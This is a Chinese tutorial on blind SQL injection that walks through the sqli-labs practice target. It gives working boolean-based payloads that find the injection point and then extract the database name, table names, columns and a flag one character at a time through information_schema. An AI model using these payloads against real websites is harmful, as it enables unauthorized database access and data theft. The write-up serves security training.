盲注

≡放荡痞女 提交于 2020-02-12 12:36:49

盲注对应的是显错注入,web服务器关闭了错误回显。

盲注可分为布尔注入、报错注入、时间盲注(加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确)

常用函数:

length():返回字符串的长度

substr():截取字符串(语法:substr(str,pos,len))

ascii():返回字符的ascii码

sleep():将程序挂起一段时间

if(expr1,expr2,expr3)判断语句,如果第一个语句正确就执行第2个语句,否则执行第3个语句。

以sqlilabs的盲注靶场为例:

首先?id=1' --+ 判断是否有注入点           (x表示数字) 
如图说明有注入点,但没有回显这时我们就要利用盲注来来进行
利用:and (length(database()))>x--+  来猜数据库的长度 
如下说明有数据库名称长度=八位
二.利用ASCII码来猜数据库名称:and (ascii(substr(database(),1,1)))=x--+ 
猜数据库的第一个字母 
对照ASCII码表可以知道第一个字母为s
and (ascii(substr(database(),2,1)))=x--+
|
|
|
循环如此得到数据库的名称为security
三.猜表名: and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=x--+
.............
得到表名:emails,referers,uagents,users,zkaq
 
四:猜字段:and (ascii(substr((select column_name from information_schema.columns where table_name='zkaq' limit 0,1),1,1)))=x --+
.............
得到列名:flag,zKaQ
五:猜内容:and (ascii(substr(( select zKaQ from zkaq limit 4,1),1,1)))=x--+
得到flag
 
 
盲注2
标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!